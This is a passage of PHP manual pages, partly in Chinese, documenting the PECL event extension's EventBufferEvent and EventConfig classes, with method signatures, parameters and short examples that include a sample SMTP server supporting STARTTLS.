callable $eventcb = null ,
mixed $arg = null
)

Create a buffer event on a socket, stream or a file descriptor. Passing null to socket means that the socket should be created later, e.g. by means of EventBufferEvent::connect() .

参数

base

Event base that should be associated with the new buffer event.

socket

May be created as a stream(not necessarily by means of sockets extension)

options

One of EventBufferEvent::OPT_* constants , or 0 .

readcb

Read event callback. See About buffer event callbacks .

writecb

Write event callback. See About buffer event callbacks .

eventcb

Status-change event callback. See About buffer event callbacks .

arg

A variable that will be passed to all the callbacks.

返回值

Returns buffer event resource optionally associated with socket resource. */

参见

  • EventBufferEvent::sslFilter() - Create a new SSL buffer event to send its data over another buffer event
  • EventBufferEvent::sslSocket() - Creates a new SSL buffer event to send its data over an SSL on a socket

User Contributed Notes

There are no user contributed notes for this page.


Creates two buffer events connected to each other

  • ? EventBufferEvent::__construct
  • EventBufferEvent::disable ?
  • PHP Manual
  • EventBufferEvent
  • Creates two buffer events connected to each other

EventBufferEvent::createPair

(PECL event >= 1.2.6-beta)

EventBufferEvent::createPair — Creates two buffer events connected to each other

说明

public static EventBufferEvent::createPair( EventBase $base , int $options = 0 ): array

Returns array of two EventBufferEvent objects connected to each other. All the usual options are supported, except for EventBufferEvent::OPT_CLOSE_ON_FREE , which has no effect, and EventBufferEvent::OPT_DEFER_CALLBACKS , which is always on.

参数

base

Associated event base

options

EventBufferEvent::OPT_* constants combined with bitwise OR operator.

返回值

Returns array of two EventBufferEvent objects connected to each other.

更新日志

版本 | 说明
PECL event 1.9.0 | Method made static.

User Contributed Notes

There are no user contributed notes for this page.


Disable events read, write, or both on a buffer event

  • ? EventBufferEvent::createPair
  • EventBufferEvent::enable ?
  • PHP Manual
  • EventBufferEvent
  • Disable events read, write, or both on a buffer event

EventBufferEvent::disable

(PECL event >= 1.2.6-beta)

EventBufferEvent::disable — Disable events read, write, or both on a buffer event

说明

public EventBufferEvent::disable( int $events ): bool

Disable events Event::READ , Event::WRITE , or Event::READ | Event::WRITE on a buffer event.

参数

events

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBufferEvent::enable() - Enable events read, write, or both on a buffer event

User Contributed Notes

There are no user contributed notes for this page.


Enable events read, write, or both on a buffer event

  • ? EventBufferEvent::disable
  • EventBufferEvent::free ?
  • PHP Manual
  • EventBufferEvent
  • Enable events read, write, or both on a buffer event

EventBufferEvent::enable

(PECL event >= 1.2.6-beta)

EventBufferEvent::enable — Enable events read, write, or both on a buffer event

说明

public EventBufferEvent::enable( int $events ): bool

Enable events Event::READ , Event::WRITE , or Event::READ | Event::WRITE on a buffer event.

参数

events

Event::READ , Event::WRITE , or Event::READ | Event::WRITE on a buffer event.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBufferEvent::disable() - Disable events read, write, or both on a buffer event

User Contributed Notes

There are no user contributed notes for this page.


Free a buffer event

  • ? EventBufferEvent::enable
  • EventBufferEvent::getDnsErrorString ?
  • PHP Manual
  • EventBufferEvent
  • Free a buffer event

EventBufferEvent::free

(PECL event >= 1.2.6-beta)

EventBufferEvent::free — Free a buffer event

说明

public EventBufferEvent::free(): void

Free resources allocated by buffer event.

Usually there is no need to call this method, since normally it is done within internal object destructors. However, sometimes we have a long-time script allocating lots of instances, or a script with a heavy memory usage, where we need to free resources as soon as possible. In such cases EventBufferEvent::free() may be used to protect the script against running up to the memory_limit .

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Returns string describing the last failed DNS lookup attempt

  • ? EventBufferEvent::free
  • EventBufferEvent::getEnabled ?
  • PHP Manual
  • EventBufferEvent
  • Returns string describing the last failed DNS lookup attempt

EventBufferEvent::getDnsErrorString

(PECL event >= 1.2.6-beta)

EventBufferEvent::getDnsErrorString — Returns string describing the last failed DNS lookup attempt

说明

public EventBufferEvent::getDnsErrorString(): string

Returns string describing the last failed DNS lookup attempt made by EventBufferEvent::connectHost() , or an empty string, if there is no DNS error detected.

参数

此函数没有参数。

返回值

Returns a string describing DNS lookup error, or an empty string for no error.

参见

  • EventBufferEvent::connectHost() - Connects to a hostname with optionally asyncronous DNS resolving

User Contributed Notes

There are no user contributed notes for this page.


Returns bitmask of events currently enabled on the buffer event

  • ? EventBufferEvent::getDnsErrorString
  • EventBufferEvent::getInput ?
  • PHP Manual
  • EventBufferEvent
  • Returns bitmask of events currently enabled on the buffer event

EventBufferEvent::getEnabled

(PECL event >= 1.2.6-beta)

EventBufferEvent::getEnabled — Returns bitmask of events currently enabled on the buffer event

说明

public EventBufferEvent::getEnabled(): int

Returns bitmask of events currently enabled on the buffer event

参数

此函数没有参数。

返回值

Returns integer representing a bitmask of events currently enabled on the buffer event

参见

  • EventBufferEvent::enable() - Enable events read, write, or both on a buffer event
  • EventBufferEvent::disable() - Disable events read, write, or both on a buffer event

User Contributed Notes

There are no user contributed notes for this page.


Returns underlying input buffer associated with current buffer event

  • ? EventBufferEvent::getEnabled
  • EventBufferEvent::getOutput ?
  • PHP Manual
  • EventBufferEvent
  • Returns underlying input buffer associated with current buffer event

EventBufferEvent::getInput

(PECL event >= 1.2.6-beta)

EventBufferEvent::getInput — Returns underlying input buffer associated with current buffer event

说明

public EventBufferEvent::getInput(): EventBuffer

Returns underlying input buffer associated with current buffer event. An input buffer is a storage for data to read.

Note, there is also input property of EventBufferEvent class.

参数

此函数没有参数。

返回值

Returns instance of EventBuffer input buffer associated with current buffer event.

示例

Example #1 Buffer event's read callback

<?php
function readcb($bev, $base) {
$input = $bev->input; //$bev->getInput();

while (($n = $input->remove($buf, 1024)) > 0) {
echo $buf;
}
}
?>

参见

  • EventBufferEvent::getOutput() - Returns underlying output buffer associated with current buffer event

User Contributed Notes

There are no user contributed notes for this page.


Returns underlying output buffer associated with current buffer event

  • ? EventBufferEvent::getInput
  • EventBufferEvent::read ?
  • PHP Manual
  • EventBufferEvent
  • Returns underlying output buffer associated with current buffer event

EventBufferEvent::getOutput

(PECL event >= 1.2.6-beta)

EventBufferEvent::getOutput — Returns underlying output buffer associated with current buffer event

说明

public EventBufferEvent::getOutput(): EventBuffer

Returns underlying output buffer associated with current buffer event. An output buffer is a storage for data to be written.

Note, there is also output property of EventBufferEvent class.

参数

此函数没有参数。

返回值

Returns instance of EventBuffer output buffer associated with current buffer event.

示例

Example #1 EventBufferEvent::getOutput() example

<?php
$base = new EventBase();

$dns_base = new EventDnsBase($base, TRUE); // Use async DNS resolving
if (!$dns_base) {
exit("Failed to init DNS Base\n");
}

$bev = new EventBufferEvent($base, /* use internal socket */ NULL,
EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS,
"readcb", /* writecb */ NULL, "eventcb", $base
);
if (!$bev) {
exit("Failed creating bufferevent socket\n");
}

$bev->enable(Event::READ | Event::WRITE);

$output = $bev->getOutput();
if (!$output->add(
"GET {$argv[2]} HTTP/1.0\r\n".
"Host: {$argv[1]}\r\n".
"Connection: Close\r\n\r\n"
)) {
exit("Failed adding request to output buffer\n");
}

/* ... */
?>

参见

  • EventBufferEvent::getInput() - Returns underlying input buffer associated with current buffer event

User Contributed Notes

There are no user contributed notes for this page.


Read buffer's data

  • ? EventBufferEvent::getOutput
  • EventBufferEvent::readBuffer ?
  • PHP Manual
  • EventBufferEvent
  • Read buffer's data

EventBufferEvent::read

(PECL event >= 1.2.6-beta)

EventBufferEvent::read — Read buffer's data

说明

public EventBufferEvent::read( int $size ): string

Removes up to size bytes from the input buffer. Returns a string of data read from the input buffer.

参数

size

Maximum number of bytes to read

返回值

Returns string of data read from the input buffer.

参见

  • EventBufferEvent::readBuffer() - Drains the entire contents of the input buffer and places them into buf

User Contributed Notes

There are no user contributed notes for this page.


Drains the entire contents of the input buffer and places them into buf

  • ? EventBufferEvent::read
  • EventBufferEvent::setCallbacks ?
  • PHP Manual
  • EventBufferEvent
  • Drains the entire contents of the input buffer and places them into buf

EventBufferEvent::readBuffer

(PECL event >= 1.2.6-beta)

EventBufferEvent::readBuffer — Drains the entire contents of the input buffer and places them into buf

说明

public EventBufferEvent::readBuffer( EventBuffer $buf ): bool

Drains the entire contents of the input buffer and places them into buf .

参数

buf

Target buffer

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBufferEvent::read() - Read buffer's data

User Contributed Notes

There are no user contributed notes for this page.


Assigns read, write and event(status) callbacks

  • ? EventBufferEvent::readBuffer
  • EventBufferEvent::setPriority ?
  • PHP Manual
  • EventBufferEvent
  • Assigns read, write and event(status) callbacks

EventBufferEvent::setCallbacks

(PECL event >= 1.2.6-beta)

EventBufferEvent::setCallbacks — Assigns read, write and event(status) callbacks

说明

public EventBufferEvent::setCallbacks(
callable $readcb ,
callable $writecb ,
callable $eventcb ,
mixed $arg = ?
): void

Assigns read, write and event(status) callbacks.

参数

readcb

Read event callback. See About buffer event callbacks .

writecb

Write event callback. See About buffer event callbacks .

eventcb

Status-change event callback. See About buffer event callbacks .

arg

A variable that will be passed to all the callbacks.

返回值

没有返回值。

参见

  • EventBufferEvent::__construct() - Constructs EventBufferEvent object

User Contributed Notes

Igor K 15-Jun-2020 03:48
Probably, $arg argument should be declared as mixed $arg = NULL, like it is in other methods. Its is useless to be just a string, since we want to pass more complex structures (array or object) and do so.


Assign a priority to a bufferevent

  • ? EventBufferEvent::setCallbacks
  • EventBufferEvent::setTimeouts ?
  • PHP Manual
  • EventBufferEvent
  • Assign a priority to a bufferevent

EventBufferEvent::setPriority

(PECL event >= 1.2.6-beta)

EventBufferEvent::setPriority — Assign a priority to a bufferevent

说明

public EventBufferEvent::setPriority( int $priority ): bool

Assign a priority to a bufferevent

Warning

Only supported for socket buffer events

参数

priority

Priority value.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Set the read and write timeout for a buffer event

  • ? EventBufferEvent::setPriority
  • EventBufferEvent::setWatermark ?
  • PHP Manual
  • EventBufferEvent
  • Set the read and write timeout for a buffer event

EventBufferEvent::setTimeouts

(PECL event >= 1.2.6-beta)

EventBufferEvent::setTimeouts — Set the read and write timeout for a buffer event

说明

public EventBufferEvent::setTimeouts( float $timeout_read , float $timeout_write ): bool

Set the read and write timeout for a buffer event

参数

timeout_read

Read timeout

timeout_write

Write timeout

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Adjusts read and/or write watermarks

  • ? EventBufferEvent::setTimeouts
  • EventBufferEvent::sslError ?
  • PHP Manual
  • EventBufferEvent
  • Adjusts read and/or write watermarks

EventBufferEvent::setWatermark

(PECL event >= 1.2.6-beta)

EventBufferEvent::setWatermark — Adjusts read and/or write watermarks

说明

public EventBufferEvent::setWatermark( int $events , int $lowmark , int $highmark ): void

Adjusts the read watermarks, the write watermarks , or both, of a single buffer event.

A buffer event watermark is an edge, a value specifying number of bytes to be read or written before callback is invoked. By default every read/write event triggers a callback invokation. See » Fast portable non-blocking network programming with Libevent: Callbacks and watermarks

参数

events

Bitmask of Event::READ , Event::WRITE , or both.

lowmark

Minimum watermark value.

highmark

Maximum watermark value. 0 means "unlimited".

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Returns most recent OpenSSL error reported on the buffer event

  • ? EventBufferEvent::setWatermark
  • EventBufferEvent::sslFilter ?
  • PHP Manual
  • EventBufferEvent
  • Returns most recent OpenSSL error reported on the buffer event

EventBufferEvent::sslError

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslError — Returns most recent OpenSSL error reported on the buffer event

说明

public EventBufferEvent::sslError(): string

Returns most recent OpenSSL error reported on the buffer event.

Note:

This function is available only if Event is compiled with OpenSSL support.

参数

此函数没有参数。

返回值

Returns OpenSSL error string reported on the buffer event, or false, if there is no more error to return.

示例

Example #1 EventBufferEvent::sslError() example

<?php
// This callback is invoked when some even occurs on the event listener,
// e.g. connection closed, or an error occurred
function ssl_event_cb($bev, $events, $ctx) {
if ($events & EventBufferEvent::ERROR) {
// Fetch errors from the SSL error stack
while ($err = $bev->sslError()) {
fprintf(STDERR, "Bufferevent error %s.\n", $err);
}
}

if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
$bev->free();
}
}
?>

参见

  • EventBufferEvent::sslRenegotiate() - Tells a bufferevent to begin SSL renegotiation

User Contributed Notes

There are no user contributed notes for this page.


Create a new SSL buffer event to send its data over another buffer event

  • ? EventBufferEvent::sslError
  • EventBufferEvent::sslGetCipherInfo ?
  • PHP Manual
  • EventBufferEvent
  • Create a new SSL buffer event to send its data over another buffer event

EventBufferEvent::sslFilter

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslFilter — Create a new SSL buffer event to send its data over another buffer event

说明

public static EventBufferEvent::sslFilter(
EventBase $base ,
EventBufferEvent $underlying ,
EventSslContext $ctx ,
int $state ,
int $options = 0
): EventBufferEvent

Create a new SSL buffer event to send its data over another buffer event

Note:

This function is available only if Event is compiled with OpenSSL support.

参数

base

Associated event base.

underlying

A socket buffer event to use for this SSL.

ctx

Object of EventSslContext class.

state

The current state of SSL connection: EventBufferEvent::SSL_OPEN , EventBufferEvent::SSL_ACCEPTING or EventBufferEvent::SSL_CONNECTING .

options

One or more buffer event options.

返回值

Returns a new SSL EventBufferEvent object.

示例

Example #1 Simple SMTP server

<?php
/*
* Author: Andrew Rose <hello at andrewrose dot co dot uk>
*
* Usage:
* 1) Prepare cert.pem certificate and privkey.pem private key files.
* 2) Launch the server script
* 3) Open TLS connection, e.g.:
* $ openssl s_client -connect localhost:25 -starttls smtp -crlf
* 4) Start testing the commands listed in `cmd` method below.
*/

class Handler {
public $domainName = FALSE;
public $connections = [];
public $buffers = [];
public $maxRead = 256000;

public function __construct() {
$this->ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, [
EventSslContext::OPT_LOCAL_CERT => 'cert.pem',
EventSslContext::OPT_LOCAL_PK => 'privkey.pem',
//EventSslContext::OPT_PASSPHRASE => '',
EventSslContext::OPT_VERIFY_PEER => false, // change to true with authentic cert
EventSslContext::OPT_ALLOW_SELF_SIGNED => true // change to false with authentic cert
]);

$this->base = new EventBase();
if (!$this->base) {
exit("Couldn't open event base\n");
}

if (!$this->listener = new EventListener($this->base,
[$this, 'ev_accept'],
$this->ctx,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
-1,
'0.0.0.0:25'))
{
exit("Couldn't create listener\n");
}

$this->listener->setErrorCallback([$this, 'ev_error']);
$this->base->dispatch();
}

public function ev_accept($listener, $fd, $address, $ctx) {
static $id = 0;
$id += 1;

$this->connections[$id]['clientData'] = '';
$this->connections[$id]['cnx'] = new EventBufferEvent($this->base, $fd,
EventBufferEvent::OPT_CLOSE_ON_FREE);

if (!$this->connections[$id]['cnx']) {
echo "Failed creating buffer\n";
$this->base->exit(NULL);
exit(1);
}

$this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL,
[$this, 'ev_error'], $id);
$this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);

$this->ev_write($id, '220 '.$this->domainName." wazzzap?\r\n");
}

function ev_error($listener, $ctx) {
$errno = EventUtil::getLastSocketErrno();

fprintf(STDERR, "Got an error %d (%s) on the listener. Shutting down.\n",
$errno, EventUtil::getLastSocketError());

if ($errno != 0) {
$this->base->exit(NULL);
exit();
}
}

public function ev_close($id) {
$this->connections[$id]['cnx']->disable(Event::READ | Event::WRITE);
unset($this->connections[$id]);
}

protected function ev_write($id, $string) {
echo 'S('.$id.'): '.$string;
$this->connections[$id]['cnx']->write($string);
}

public function ev_read($buffer, $id) {
while($buffer->input->length > 0) {
$this->connections[$id]['clientData'] .= $buffer->input->read($this->maxRead);
$clientDataLen = strlen($this->connections[$id]['clientData']);

if($this->connections[$id]['clientData'][$clientDataLen-1] == "\n"
&& $this->connections[$id]['clientData'][$clientDataLen-2] == "\r")
{
// remove the trailing \r\n
$line = substr($this->connections[$id]['clientData'], 0,
strlen($this->connections[$id]['clientData']) - 2);

$this->connections[$id]['clientData'] = '';
$this->cmd($buffer, $id, $line);
}
}
}

protected function cmd($buffer, $id, $line) {
switch ($line) {
case strncmp('EHLO ', $line, 4):
$this->ev_write($id, "250-STARTTLS\r\n");
$this->ev_write($id, "250 OK ehlo\r\n");
break;

case strncmp('HELO ', $line, 4):
$this->ev_write($id, "250-STARTTLS\r\n");
$this->ev_write($id, "250 OK helo\r\n");
break;

case strncmp('QUIT', $line, 3):
$this->ev_write($id, "250 OK quit\r\n");
$this->ev_close($id);
break;

case strncmp('STARTTLS', $line, 3):
$this->ev_write($id, "220 Ready to start TLS\r\n");
$this->connections[$id]['cnx'] = EventBufferEvent::sslFilter($this->base,
$this->connections[$id]['cnx'], $this->ctx,
EventBufferEvent::SSL_ACCEPTING,
EventBufferEvent::OPT_CLOSE_ON_FREE);
$this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL, [$this, 'ev_error'], $id);
$this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);
break;

default:
echo 'unknown command: '.$line."\n";
break;
}
}
}

new Handler();

参见

  • EventBufferEvent::sslSocket() - Creates a new SSL buffer event to send its data over an SSL on a socket

User Contributed Notes

There are no user contributed notes for this page.


Returns a textual description of the cipher

  • ? EventBufferEvent::sslFilter
  • EventBufferEvent::sslGetCipherName ?
  • PHP Manual
  • EventBufferEvent
  • Returns a textual description of the cipher

EventBufferEvent::sslGetCipherInfo

(PECL event >= 1.10.0)

EventBufferEvent::sslGetCipherInfo — Returns a textual description of the cipher

说明

public EventBufferEvent::sslGetCipherInfo(): string

Retrieves description of the current cipher by means of the SSL_CIPHER_description SSL API function (see SSL_CIPHER_get_name(3) man page).

Note:

This function is available only if Event is compiled with OpenSSL support.

参数

此函数没有参数。

返回值

Returns a textual description of the cipher on success, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current cipher name of the SSL connection

  • ? EventBufferEvent::sslGetCipherInfo
  • EventBufferEvent::sslGetCipherVersion ?
  • PHP Manual
  • EventBufferEvent
  • Returns the current cipher name of the SSL connection

EventBufferEvent::sslGetCipherName

(PECL event >= 1.10.0)

EventBufferEvent::sslGetCipherName — Returns the current cipher name of the SSL connection

说明

public EventBufferEvent::sslGetCipherName(): string

Retrieves name of cipher used by current SSL connection.

Note:

This function is available only if Event is compiled with OpenSSL support.

参数

此函数没有参数。

返回值

Returns the current cipher name of the SSL connection, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns version of cipher used by current SSL connection

  • ? EventBufferEvent::sslGetCipherName
  • EventBufferEvent::sslGetProtocol ?
  • PHP Manual
  • EventBufferEvent
  • Returns version of cipher used by current SSL connection

EventBufferEvent::sslGetCipherVersion

(PECL event >= 1.10.0)

EventBufferEvent::sslGetCipherVersion — Returns version of cipher used by current SSL connection

说明

public EventBufferEvent::sslGetCipherVersion(): string

Retrieves version of cipher used by current SSL connection.

Note:

This function is available only if Event is compiled with OpenSSL support.

参数

此函数没有参数。

返回值

Returns the current cipher version of the SSL connection, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the name of the protocol used for current SSL connection

  • ? EventBufferEvent::sslGetCipherVersion
  • EventBufferEvent::sslRenegotiate ?
  • PHP Manual
  • EventBufferEvent
  • Returns the name of the protocol used for current SSL connection

EventBufferEvent::sslGetProtocol

(PECL event >= 1.10.0)

EventBufferEvent::sslGetProtocol — Returns the name of the protocol used for current SSL connection

说明

public EventBufferEvent::sslGetProtocol(): string

Returns the name of the protocol used for current SSL connection.

Note:

This function is available only if Event is compiled with OpenSSL support.

参数

此函数没有参数。

返回值

Returns the name of the protocol used for current SSL connection.

User Contributed Notes

There are no user contributed notes for this page.


Tells a bufferevent to begin SSL renegotiation

  • ? EventBufferEvent::sslGetProtocol
  • EventBufferEvent::sslSocket ?
  • PHP Manual
  • EventBufferEvent
  • Tells a bufferevent to begin SSL renegotiation

EventBufferEvent::sslRenegotiate

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslRenegotiate — Tells a bufferevent to begin SSL renegotiation

说明

public EventBufferEvent::sslRenegotiate(): void

Tells a bufferevent to begin SSL renegotiation.

Warning

Calling this function tells the SSL to renegotiate, and the buffer event to invoke appropriate callbacks. This is an advanced topic; this should be generally avoided unless one really knows what he/she does, especially since many SSL versions have had known security issues related to renegotiation.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Creates a new SSL buffer event to send its data over an SSL on a socket

  • ? EventBufferEvent::sslRenegotiate
  • EventBufferEvent::write ?
  • PHP Manual
  • EventBufferEvent
  • Creates a new SSL buffer event to send its data over an SSL on a socket

EventBufferEvent::sslSocket

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslSocket — Creates a new SSL buffer event to send its data over an SSL on a socket

说明

public static EventBufferEvent::sslSocket(
EventBase $base ,
mixed $socket ,
EventSslContext $ctx ,
int $state ,
int $options = ?
): EventBufferEvent

Creates a new SSL buffer event to send its data over an SSL on a socket.

参数

base

Associated event base.

socket

Socket to use for this SSL. Can be stream or socket resource, numeric file descriptor, or null. If socket is null, it is assumed that the file descriptor for the socket will be assigned later, for instance, by means of EventBufferEvent::connectHost() method.

ctx

Object of EventSslContext class.

state

The current state of SSL connection: EventBufferEvent::SSL_OPEN , EventBufferEvent::SSL_ACCEPTING or EventBufferEvent::SSL_CONNECTING .

options

The buffer event options.

返回值

Returns EventBufferEvent object.

参见

  • EventBufferEvent::sslFilter() - Create a new SSL buffer event to send its data over another buffer event

User Contributed Notes

There are no user contributed notes for this page.


Adds data to a buffer event's output buffer

  • ? EventBufferEvent::sslSocket
  • EventBufferEvent::writeBuffer ?
  • PHP Manual
  • EventBufferEvent
  • Adds data to a buffer event's output buffer

EventBufferEvent::write

(PECL event >= 1.2.6-beta)

EventBufferEvent::write — Adds data to a buffer event's output buffer

说明

public EventBufferEvent::write( string $data ): bool

Adds data to a buffer event's output buffer

参数

data

Data to be added to the underlying buffer.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBufferEvent::writeBuffer() - Adds contents of the entire buffer to a buffer event's output buffer

User Contributed Notes

There are no user contributed notes for this page.


Adds contents of the entire buffer to a buffer event's output buffer

  • ? EventBufferEvent::write
  • About buffer event callbacks ?
  • PHP Manual
  • EventBufferEvent
  • Adds contents of the entire buffer to a buffer event's output buffer

EventBufferEvent::writeBuffer

(PECL event >= 1.2.6-beta)

EventBufferEvent::writeBuffer — Adds contents of the entire buffer to a buffer event's output buffer

说明

public EventBufferEvent::writeBuffer( EventBuffer $buf ): bool

Adds contents of the entire buffer to a buffer event's output buffer

参数

buf

Source EventBuffer object.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBufferEvent::write() - Adds data to a buffer event's output buffer

User Contributed Notes

There are no user contributed notes for this page.


About buffer event callbacks

An object of EventBufferEvent class represents a buffer event . The asynchronous nature of I/O performed by Libevent implies that a socket(or other kind of file descriptor) is not always available. Event invokes corresponding callbacks when the resource becomes available for reading or writing, or when some event occurs(e.g. error, "end of line" etc.).

Read and write callbacks should match the following prototype:

callback( EventBufferEvent $bev = null , mixed $arg = null ): void

bev

Associated EventBufferEvent object.

arg

Custom variable attached to all callbacks via EventBufferEvent::__construct() , or EventBufferEvent::setCallbacks() .

Event callback should match the following prototype:

callback( EventBufferEvent $bev = null , int $events = 0 , mixed $arg = null ): void

bev

Associated EventBufferEvent object.

events

Bit mask of events: EventBufferEvent::READING , EventBufferEvent::WRITING , EventBufferEvent::EOL , EventBufferEvent::ERROR and EventBufferEvent::TIMEOUT . See EventBufferEvent constants

arg

Custom variable attached to all callbacks via EventBufferEvent::__construct() , or EventBufferEvent::setCallbacks() .

User Contributed Notes

There are no user contributed notes for this page.


EventConfig 类

(PECL event >= 1.2.6-beta)

简介

表示可以实例化 EventBase 的配置结构。

类摘要

final class EventConfig {
/* Constants */
const int FEATURE_ET = 1;
const int FEATURE_O1 = 2;
const int FEATURE_FDS = 4;
/* 方法 */
public avoidMethod( string $method ): bool
public __construct()
public requireFeatures( int $feature ): bool
public setFlags( int $flags ): bool
public setMaxDispatchInterval( int $max_interval , int $max_callbacks , int $min_priority ): void
}

预定义常量

EventConfig::FEATURE_ET

需要支持边缘触发 I/O 的后端方法。

EventConfig::FEATURE_O1

要求添加/删除 event 或者使 event 成为活跃的后端方法是O(1)操作。

EventConfig::FEATURE_FDS

需要一个可以支持任何文件描述符类型的后端方法，而不仅仅是 socket 。

Table of Contents

  • EventConfig::avoidMethod — 告诉 libevent 避免使用指定 event 方法
  • EventConfig::__construct — EventConfig 构造函数
  • EventConfig::requireFeatures — 输入应用程序要求的必需 event 方法功能
  • EventConfig::setFlags — EventBase 初始化需设置的一个或者多个 flag
  • EventConfig::setMaxDispatchInterval — 防止优先级反转

User Contributed Notes

There are no user contributed notes for this page.


告诉 libevent 避免使用指定 event 方法

  • ? EventConfig
  • EventConfig::__construct ?
  • PHP Manual
  • EventConfig
  • 告诉 libevent 避免使用指定 event 方法

EventConfig::avoidMethod

(PECL event >= 1.2.6-beta)

EventConfig::avoidMethod — 告诉 libevent 避免使用指定 event 方法

说明

public EventConfig::avoidMethod( string $method ): bool

告诉 libevent 避免使用指定 event 方法(后端)。参考 » 创建 event_base 。

参数

method

要避免的后端方法。 参考 EventConfig 常量 。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 EventConfig::avoidMethod() 示例

<?php
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
echo "'select' 方法失效\n";
}
?>

参见

  • EventBase::__construct() - 构造 EventBase 对象

User Contributed Notes

There are no user contributed notes for this page.


EventConfig 构造函数

  • ? EventConfig::avoidMethod
  • EventConfig::requireFeatures ?
  • PHP Manual
  • EventConfig
  • EventConfig 构造函数

EventConfig::__construct

(PECL event >= 1.2.6-beta)

EventConfig::__construct — EventConfig 构造函数

说明

public EventConfig::__construct()

构造 EventConfig 对象，可传递给 EventBase::__construct() 构造函数。

参数

此函数没有参数。

返回值

返回 EventConfig 对象。

示例

Example #1 EventConfig::__construct() 示例

<?php
// 避免 "select" 方法
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
echo "'select' 方法失效\n";
}
// 创建跟 config 相关的 event_base
$base = new EventBase($cfg);
/* 现在 $base 配置为避免 select 后端(方法) */
?>

参见

  • EventBase::__construct() - 构造 EventBase 对象

User Contributed Notes

There are no user contributed notes for this page.


输入应用程序要求的必需 event 方法功能

  • ? EventConfig::__construct
  • EventConfig::setFlags ?
  • PHP Manual
  • EventConfig
  • 输入应用程序要求的必需 event 方法功能

EventConfig::requireFeatures

(PECL event >= 1.2.6-beta)

EventConfig::requireFeatures — 输入应用程序要求的必需 event 方法功能

说明

public EventConfig::requireFeatures( int $feature ): bool

输入应用程序要求的必需 event 方法功能。

参数

feature

所需功能的位掩码。参考 EventConfig::FEATURE_* 常量

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 EventConfig::requireFeatures() 示例

<?php
$cfg = new EventConfig();

// 创建跟 config 关联的 event_base
$base = new EventBase($cfg);

// 需要 FDS 功能
if ($cfg->requireFeatures(EventConfig::FEATURE_FDS)) {
echo "FDS feature is now required\n";

$base = new EventBase($cfg);
($base->getFeatures() & EventConfig::FEATURE_FDS)
and print "FDS - arbitrary file descriptor types, and not just sockets\n";
}
?>

以上示例的输出类似于：

FDS feature is now required
FDS - arbitrary file descriptor types, and not just sockets

参见

  • EventBase::getFeatures() - Returns bitmask of features supported

User Contributed Notes

There are no user contributed notes for this page.


EventBase 初始化需设置的一个或者多个 flag

  • ? EventConfig::requireFeatures
  • EventConfig::setMaxDispatchInterval ?
  • PHP Manual
  • EventConfig
  • EventBase 初始化需设置的一个或者多个 flag

EventConfig::setFlags

(PECL event >= 2.0.2-alpha)

EventConfig::setFlags — EventBase 初始化需设置的一个或者多个 flag

说明

public EventConfig::setFlags( int $flags ): bool

EventBase 初始化需设置的一个或者多个 flag 部分，以及它们如何工作。

参数

flags

EventBase::LOOP_* 常量之一。 参考 EventBase 常量。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBase::getFeatures() - Returns bitmask of features supported

User Contributed Notes

There are no user contributed notes for this page.


防止优先级反转

  • ? EventConfig::setFlags
  • EventDnsBase ?
  • PHP Manual
  • EventConfig
  • 防止优先级反转

EventConfig::setMaxDispatchInterval

(PECL event >= 2.1.0-alpha)

EventConfig::setMaxDispatchInterval — 防止优先级反转

说明

public EventConfig::setMaxDispatchInterval( int $max_interval , int $max_callbacks , int $min_priority ): void

在检查更多高优先级事件之前，通过限制可调用低优先级事件的数量来防止优先级反转。

Note:

自 libevent 2.1.0-alpha 起可用。

参数

max_interval

Libevent 应该停止运行回调并检查更多时间的间隔，如果为 0，则没有这样的间隔。

max_callbacks

多次回调之后 Libevent 应停止运行并检查更多事件，如果为 -1，则表示不会有这个限制。

min_priority

不应执行低于 max_interval 和 max_callbacks 优先级的事件。如果设置为 0，它适用于每个优先级事件；如果设置为 1，它适用于优先级在 1及其以上的事件，以此类推。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


The EventDnsBase class

(PECL event >= 1.2.6-beta)

简介

Represents Libevent's DNS base structure. Used to resolve DNS asyncronously, parse configuration files like resolv.conf etc.

类摘要

final class EventDnsBase {
/* 常量 */
const int OPTION_SEARCH = 1;
const int OPTION_NAMESERVERS = 2;
const int OPTION_MISC = 4;
const int OPTION_HOSTSFILE = 8;
const int OPTIONS_ALL = 15;
/* 方法 */
public addNameserverIp( string $ip ): bool
public addSearch( string $domain ): void
public clearSearch(): void
public __construct( EventBase $base , bool $initialize )
public countNameservers(): int
public loadHosts( string $hosts ): bool
public parseResolvConf( int $flags , string $filename ): bool
public setOption( string $option , string $value ): bool
public setSearchNdots( int $ndots ): bool
}

预定义常量

